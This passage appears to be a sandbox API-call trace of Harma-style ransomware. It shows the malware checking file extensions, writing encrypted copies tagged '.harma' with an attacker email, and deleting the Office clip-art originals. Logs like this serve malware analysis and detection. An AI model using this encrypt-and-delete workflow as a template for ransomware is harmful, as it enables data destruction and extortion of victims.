returned 1 [0150.760] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.760] SetEndOfFile (hFile=0x340) returned 1 [0150.762] CloseHandle (hObject=0x340) returned 1 [0150.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0150.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0150.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0150.773] lstrlenW (lpString=".doc") returned 4 [0150.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.774] lstrlenW (lpString=".docx") returned 5 [0150.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.774] lstrlenW (lpString=".pdf") returned 4 [0150.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.774] lstrlenW (lpString=".xls") returned 4 [0150.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.774] lstrlenW (lpString=".xlsx") returned 5 [0150.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.774] lstrlenW (lpString=".ppt") returned 4 [0150.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0150.774] lstrlenW (lpString=".zip") returned 4 [0150.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.774] lstrlenW (lpString=".rar") returned 4 [0150.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.774] lstrlenW (lpString=".bz2") returned 4 [0150.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.774] lstrlenW (lpString=".7z") returned 3 [0150.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0150.774] lstrlenW (lpString=".dbf") returned 4 [0150.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0150.774] lstrlenW (lpString=".1cd") returned 4 [0150.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0150.774] lstrlenW (lpString=".jpg") returned 4 [0150.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0150.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0150.775] lstrlenW (lpString=".doc") returned 4 [0150.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.775] lstrlenW (lpString=".docx") returned 5 [0150.775] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.775] lstrlenW (lpString=".pdf") returned 4 [0150.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.775] lstrlenW (lpString=".xls") returned 4 [0150.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.775] lstrlenW (lpString=".xlsx") returned 5 [0150.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.775] lstrlenW (lpString=".ppt") returned 4 [0150.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0150.775] lstrlenW (lpString=".zip") returned 4 [0150.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.775] lstrlenW (lpString=".rar") returned 4 [0150.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.775] lstrlenW (lpString=".bz2") returned 4 [0150.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.775] lstrlenW (lpString=".7z") returned 3 [0150.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0150.775] lstrlenW (lpString=".dbf") returned 4 [0150.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0150.775] lstrlenW (lpString=".1cd") returned 4 [0150.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0150.776] lstrlenW (lpString=".jpg") returned 4 [0150.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.776] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.776] lstrlenW (lpString="DD01162_.WMF") returned 12 [0150.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0150.776] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2300) returned 1 [0150.776] CloseHandle (hObject=0x340) returned 1 [0150.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x20 [0150.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0150.777] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.777] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0150.778] GetLastError () returned 0x0 [0150.778] ReadFile (in: hFile=0x340, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x8fc, lpOverlapped=0x0) returned 1 [0150.839] WriteFile (in: hFile=0x334, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x900, lpOverlapped=0x0) returned 1 [0150.840] ReadFile (in: hFile=0x340, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.840] WriteFile (in: hFile=0x334, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.840] SetEndOfFile (hFile=0x334) returned 1 [0150.840] CloseHandle (hObject=0x334) returned 1 [0150.840] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.840] SetEndOfFile (hFile=0x340) returned 1 [0150.842] CloseHandle (hObject=0x340) returned 1 [0150.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0150.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0150.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0150.844] lstrlenW (lpString=".doc") returned 4 [0150.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.844] lstrlenW (lpString=".docx") returned 5 [0150.844] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.844] lstrlenW (lpString=".pdf") returned 4 [0150.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.844] lstrlenW (lpString=".xls") returned 4 [0150.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.844] lstrlenW (lpString=".xlsx") returned 5 [0150.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.844] lstrlenW (lpString=".ppt") returned 4 [0150.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0150.844] lstrlenW (lpString=".zip") returned 4 [0150.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.844] lstrlenW (lpString=".rar") returned 4 [0150.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.844] lstrlenW (lpString=".bz2") returned 4 [0150.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.844] lstrlenW (lpString=".7z") returned 3 [0150.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0150.844] lstrlenW (lpString=".dbf") returned 4 [0150.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0150.845] lstrlenW (lpString=".1cd") returned 4 [0150.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0150.845] lstrlenW (lpString=".jpg") returned 4 [0150.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0150.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0150.845] lstrlenW (lpString=".doc") returned 4 [0150.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.845] lstrlenW (lpString=".docx") returned 5 [0150.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.845] lstrlenW (lpString=".pdf") returned 4 [0150.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.845] lstrlenW (lpString=".xls") returned 4 [0150.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.845] lstrlenW (lpString=".xlsx") returned 5 [0150.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.845] lstrlenW (lpString=".ppt") returned 4 [0150.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0150.845] lstrlenW (lpString=".zip") returned 4 [0150.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.845] lstrlenW (lpString=".rar") returned 4 [0150.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.845] lstrlenW (lpString=".bz2") returned 4 [0150.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.845] lstrlenW (lpString=".7z") returned 3 [0150.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0150.846] lstrlenW (lpString=".dbf") returned 4 [0150.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0150.846] lstrlenW (lpString=".1cd") returned 4 [0150.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 63 [0150.846] lstrlenW (lpString=".jpg") returned 4 [0150.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.846] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.846] lstrlenW (lpString="DD01167_.WMF") returned 12 [0150.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0150.847] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2080) returned 1 [0150.847] CloseHandle (hObject=0x340) returned 1 [0150.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x20 [0150.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0150.847] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.847] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0150.848] GetLastError () returned 0x0 [0150.848] ReadFile (in: hFile=0x340, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x820, lpOverlapped=0x0) returned 1 [0150.916] WriteFile (in: hFile=0x334, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x830, lpOverlapped=0x0) returned 1 [0150.917] ReadFile (in: hFile=0x340, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.917] WriteFile (in: hFile=0x334, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.917] SetEndOfFile (hFile=0x334) returned 1 [0150.917] CloseHandle (hObject=0x334) returned 1 [0150.917] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.917] SetEndOfFile (hFile=0x340) returned 1 [0150.920] CloseHandle (hObject=0x340) returned 1 [0150.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0151.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0151.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0151.204] lstrlenW (lpString=".doc") returned 4 [0151.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.204] lstrlenW (lpString=".docx") returned 5 [0151.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.204] lstrlenW (lpString=".pdf") returned 4 [0151.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.204] lstrlenW (lpString=".xls") returned 4 [0151.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.204] lstrlenW (lpString=".xlsx") returned 5 [0151.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.204] lstrlenW (lpString=".ppt") returned 4 [0151.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0151.204] lstrlenW (lpString=".zip") returned 4 [0151.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.204] lstrlenW (lpString=".rar") returned 4 [0151.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.204] lstrlenW (lpString=".bz2") returned 4 [0151.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.204] lstrlenW (lpString=".7z") returned 3 [0151.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0151.204] lstrlenW (lpString=".dbf") returned 4 [0151.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0151.204] lstrlenW (lpString=".1cd") returned 4 [0151.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0151.204] lstrlenW (lpString=".jpg") returned 4 [0151.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0151.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0151.205] lstrlenW (lpString=".doc") returned 4 [0151.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.205] lstrlenW (lpString=".docx") returned 5 [0151.205] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.205] lstrlenW (lpString=".pdf") returned 4 [0151.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.205] lstrlenW (lpString=".xls") returned 4 [0151.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.205] lstrlenW (lpString=".xlsx") returned 5 [0151.205] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.205] lstrlenW (lpString=".ppt") returned 4 [0151.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0151.205] lstrlenW (lpString=".zip") returned 4 [0151.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.205] lstrlenW (lpString=".rar") returned 4 [0151.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.205] lstrlenW (lpString=".bz2") returned 4 [0151.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.205] lstrlenW (lpString=".7z") returned 3 [0151.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0151.205] lstrlenW (lpString=".dbf") returned 4 [0151.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0151.205] lstrlenW (lpString=".1cd") returned 4 [0151.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0151.206] lstrlenW (lpString=".jpg") returned 4 [0151.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.206] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.206] lstrlenW (lpString="DD01172_.WMF") returned 12 [0151.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.206] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2232) returned 1 [0151.206] CloseHandle (hObject=0x384) returned 1 [0151.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x20 [0151.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.207] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.207] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0151.207] GetLastError () returned 0x0 [0151.207] ReadFile (in: hFile=0x384, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x8b8, lpOverlapped=0x0) returned 1 [0151.226] WriteFile (in: hFile=0x328, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0151.227] ReadFile (in: hFile=0x384, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.227] WriteFile (in: hFile=0x328, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.227] SetEndOfFile (hFile=0x328) returned 1 [0151.227] CloseHandle (hObject=0x328) returned 1 [0151.227] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.227] SetEndOfFile (hFile=0x384) returned 1 [0151.230] CloseHandle (hObject=0x384) returned 1 [0151.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0151.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0151.287] lstrlenW 